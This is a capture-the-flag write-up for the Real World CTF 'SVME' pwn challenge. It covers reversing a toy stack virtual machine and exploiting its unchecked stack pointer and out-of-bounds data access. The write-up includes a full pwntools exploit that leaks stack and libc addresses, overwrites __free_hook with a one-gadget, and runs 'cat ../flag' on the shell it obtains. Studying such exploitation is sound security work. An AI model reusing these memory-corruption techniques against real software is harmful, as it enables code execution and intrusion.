# [Real World CTF] Pwn - SVME (Baby)
## Description
Professor Terence Parr has taught us [how to build a virtual machine](https://www.slideshare.net/parrt/how-to-build-a-virtual-machine). Now it's time to break it!
```nc 47.243.140.252 1337```
[attachment](https://realworldctf-attachment.oss-accelerate.aliyuncs.com/svme_9495bfd34dcaea7af748f1138d5fc25e.tar.gz)
## Source code
```c#include <stdbool.h>#include <unistd.h>#include "vm.h"
int main(int argc, char *argv[]) {    int code[128], nread = 0;
    // Read 128 bytes of code (which architecture ??)    while (nread < sizeof(code)) {        int ret = read(0, code+nread, sizeof(code)-nread);        if (ret <= 0) break;        nread += ret;    }
    // Create a Virtual Machine for the given code    VM *vm = vm_create(code, nread/4, 0);    vm_exec(vm, 0, true);    vm_free(vm);
    return 0;}```
## vm_exec function
After some reverse engineering I got the following code:
```cvoid vm_exec(vm *vm, int32_t initial_ip, bool debug){    int32_t iVar1;    int32_t operand_pointer;    int64_t iVar4;    int64_t var_38h;    int32_t instruction_pointer;    int32_t stack_pointer;    int32_t var_24h;    int32_t opcode;    int32_t var_1ch;    int64_t var_18h;
    stack_pointer = -1;    var_24h = -1;    opcode = vm->code[initial_ip];    instruction_pointer = initial_ip;    while ((opcode != 0x12 && (instruction_pointer < vm->code_len))) {        if (debug) {            vm_print_instr(vm->code, instruction_pointer);        }        operand_pointer = instruction_pointer + 1;    // switch table (18 cases) at 0x202c        switch(opcode) {        default:            printf("invalid opcode: %d at ip=%d\n", opcode, instruction_pointer);            exit(1);            instruction_pointer = operand_pointer;            break;        case 1: // iadd            vm->stack[stack_pointer + -1] = vm->stack[stack_pointer + -1] + vm->stack[stack_pointer];            instruction_pointer = operand_pointer;            stack_pointer = stack_pointer + -1;            break;        case 2: // isub            vm->stack[stack_pointer + -1] = vm->stack[stack_pointer + -1] - vm->stack[stack_pointer];            instruction_pointer = operand_pointer;            stack_pointer = stack_pointer + -1;            break;        case 3: // imul            vm->stack[stack_pointer + -1] = vm->stack[stack_pointer + -1] * vm->stack[stack_pointer];            instruction_pointer = operand_pointer;            stack_pointer = stack_pointer + -1;            break;        case 4: // ilt            vm->stack[stack_pointer + -1] = (uint32_t)(vm->stack[stack_pointer + -1] < vm->stack[stack_pointer]);            instruction_pointer = operand_pointer;            stack_pointer = stack_pointer + -1;            break;        case 5: // ieq            vm->stack[stack_pointer + -1] = (uint32_t)(vm->stack[stack_pointer + -1] == vm->stack[stack_pointer]);            instruction_pointer = operand_pointer;            stack_pointer = stack_pointer + -1;            break;        case 6: // br            instruction_pointer = vm->code[operand_pointer];            break;        case 7: // brt            operand_pointer = stack_pointer + -1;            iVar4 = (int64_t)stack_pointer;            instruction_pointer = instruction_pointer + 2;            stack_pointer = operand_pointer;            if (vm->stack[iVar4] == 1) {                instruction_pointer = vm->code[operand_pointer];            }            break;        case 8: // brf            operand_pointer = stack_pointer + -1;            iVar4 = (int64_t)stack_pointer;            instruction_pointer = instruction_pointer + 2;            stack_pointer = operand_pointer;            if (vm->stack[iVar4] == 0) {                instruction_pointer = vm->code[operand_pointer];            }            break;        case 9: // iconst            vm->stack[stack_pointer + 1] = vm->code[operand_pointer];            instruction_pointer = instruction_pointer + 2;            stack_pointer = stack_pointer + 1;            break;        case 10: // load            vm->stack[stack_pointer + 1] = vm->stack[(int64_t)var_24h * 0xb + (int64_t)vm->code[operand_pointer] + 0x3e9];            instruction_pointer = instruction_pointer + 2;            stack_pointer = stack_pointer + 1;            break;        case 0xb: // gload            vm->stack[stack_pointer + 1] = vm->data[vm->code[operand_pointer]];            instruction_pointer = instruction_pointer + 2;            stack_pointer = stack_pointer + 1;            break;        case 0xc: // store            vm->stack[(int64_t)var_24h * 0xb + (int64_t)vm->code[operand_pointer] + 0x3e9] = vm->stack[stack_pointer];            instruction_pointer = instruction_pointer + 2;            stack_pointer = stack_pointer + -1;            break;        case 0xd: // gstore            vm->data[vm->code[operand_pointer]] = vm->stack[stack_pointer];            instruction_pointer = instruction_pointer + 2;            stack_pointer = stack_pointer + -1;            break;        case 0xe: // print            printf(0x2008);            instruction_pointer = operand_pointer;            stack_pointer = stack_pointer + -1;            break;        case 0xf: // pop            instruction_pointer = operand_pointer;            stack_pointer = stack_pointer + -1;            break;        case 0x10: // call            operand_pointer = vm->code[operand_pointer];            iVar1 = vm->code[instruction_pointer + 2];            var_24h = var_24h + 1;            vm_context_init((int64_t)(vm->stack + (int64_t)var_24h * 0xb + 1000), (uint64_t)(instruction_pointer + 4),                            iVar1 + vm->code[instruction_pointer + 3]);            for (var_1ch = 0; var_1ch < iVar1; var_1ch = var_1ch + 1) {                vm->stack[(int64_t)var_24h * 0xb + (int64_t)var_1ch + 0x3e9] = vm->stack[stack_pointer - var_1ch];            }            instruction_pointer = operand_pointer;            stack_pointer = stack_pointer - iVar1;            break;        case 0x11: // ret            iVar4 = (int64_t)var_24h;            var_24h = var_24h + -1;            instruction_pointer = vm->stack[iVar4 * 0xb + 1000];        }        if (debug) {            vm_print_stack(vm->stack, stack_pointer);        }        opcode = vm->code[instruction_pointer];    }    if (debug) {        vm_print_data(vm->data, vm->data_len);    }    return;}```
We can see the opcodes / intructions of the VM in the switch case.
The `vm` struct is set as follows:
```struct vm {	int32_t *code;	int32_t code_len;	int32_t fill;	int32_t *data;	uint32_t data_len;	int32_t stack[1024]; // We don't really know the size of the stack};```
## Vulns
There are two vulnerabilities in the VM.
1. There is no control on the VM stack pointer. You can then overflow the stack by pushing too much data, but you can also underflow it.   - If you have `stack_pointer = -3` and you push a value (`iconst`, opcode 9), you will overwrite the data stored at `stack_pointer = -2`, which is part of the `vm` struct.2. There is also an out of bounds read/write to the data array.   - If you use the `gload` or `gstore` operations with an operand that is out of bounds, you will be able to read or write any arbitrary data.   - ⚠ You can't access anywhere directly. You are limited by the 32-bit size of the operand. But you can use the underflow to overwrite the `data` pointer in the struct, to get closer to the data you want to read or write.
## How the exploit works
My exploit will be seperated into three parts.
### Get the host stack
First thing to do is to get a host stack address.
Fortunately, the `vm->code` points to the start of the code array, which is stored in the `main` frame of the stack.
Since our `vm` struct is 0x2100 bytes long, and the `data` array is allocated just after the `vm` struct, we can get the `vm->code` pointer by subtracting 0x2100 from the `data` pointer. We can just use `gload` with an operand of 0x2100 / 4 and another `gload` with an operand of 0x2100 / 4 + 1 to get both the most significant and the least significant bytes of the `vm->code` pointer (since a pointer is 64 bits long and `gload` will read only 32 bits).
Once we have the `vm->code` pointer, we set the `vm->data` pointer to this address in order to have full access to the host stack.
### Find `__free_hook` address
Since we have full access to the host stack, we can find the return address of the `main` function. This will point to the `__libc_start_main` function, which is in the libc.
With some research using `gdb`, I found that this return address is located at `vm->data[0x218 / 4]` and `vm->data[0x218 / 4 + 1]`.
Once we got this address using `gload`, we can use it to calculate the address of `__free_hook` using `pwntools`:
```python__free_hook = found_address - libc.libc_start_main_return + libc.symbols['__free_hook']```
We don't know the base address of the libc, but we don't care since `pwntools` will give us the correct offsets anyway.
When this is done, we can overwrite the `vm->data` pointer to the `__free_hook` address.
### Replace `__free_hook`
We need to find some one-gadgets to replace the `__free_hook` address. We can use the `onegadget` utility, which will give us many gadgets, and we will try all of them until we find one that works.
We can calculate the address of the one gadget we want using its offset and the `__free_hook` offset in the `libc`:
```one_gadget_address = __free_hook - libc.symbols['__free_hook'] + one_gadget_offset```
Then we can store it in the `vm->data` array. When the VM will exit, the structs will be freed and the `__free_hook` will be triggered, which might give us a shell if everything works.
## Exploit
```pythonfrom pwn import *
context.binary = elf = ELF("./svme")libc = ELF("./libc-2.31.so")
# For debugging :context.terminal = ["tmux", "splitw", "-h"]
host = "47.243.140.252"port = 1337
instructions = [    "noop",    "iadd",    "isub",    "imul",    "ilt",    "ieq",    "br",    "brt",    "brf",    "iconst",    "load",    "gload",    "store",    "gstore",    "print",    "pop",    "call",    "ret",    "halt",]
def assemble(code):    lines = [line.strip() for line in code.split("\n") if line.strip()]
    machine_code = b""
    for line in lines:        l = line.split()        machine_code += p32(instructions.index(l[0]))
        for arg in l[1:]:            if arg.startswith("0x") or arg.startswith("-0x"):                machine_code += p32(int(arg, 16) % 0x100000000)            else:                machine_code += p32(int(arg) % 0x100000000)
    return machine_code
one_gadget = 0xe6c81
code = assemble(f"""gload {-0x2100 // 4 + 1}store 0gload {-0x2100 // 4}store 1printprintprintload 1load 0iconst 0gload {0x218 // 4 + 1}store 0gload {0x218 // 4}iconst {libc.libc_start_main_return}isubiconst {libc.symbols['__free_hook']}iaddstore 1printprintprintload 1load 0iconst 0load 0load 1iconst {libc.symbols['__free_hook']}isubiconst {one_gadget}iaddgstore 0gstore 1halt""").ljust(0x200, b"\x00")
p = remote(host, port)
p.send(code)
p.sendline(b"cat ../flag")flag = p.recvline().strip().decode()
p.close()
success(f"Flag: {flag}")```
## Code explanation
```gload {-0x2100 // 4 + 1}                 # Get half of the `code` ptrstore 0gload {-0x2100 // 4}                     # Get the other halfstore 1printprintprintload 1                                   # Replace the `data` ptrload 0iconst 0gload {0x218 // 4 + 1}                   # Get the `libc_start_main_return` valuestore 0gload {0x218 // 4}iconst {libc.libc_start_main_return}     # Calculate the `__free_hook` addressisubiconst {libc.symbols['__free_hook']}iaddstore 1printprintprintload 1                                   # Replace the `data` ptrload 0iconst 0load 0load 1iconst {libc.symbols['__free_hook']}     # Calculate the one gadget addressisubiconst {one_gadget}iaddgstore 0                                 # Overwrite the `__free_hook`gstore 1halt```
When the vm exits, the program calls `vm_free`, which call `free`, which calls `__free_hook` if it is set.
Since we set it to our one_gadget, we can get our shell :)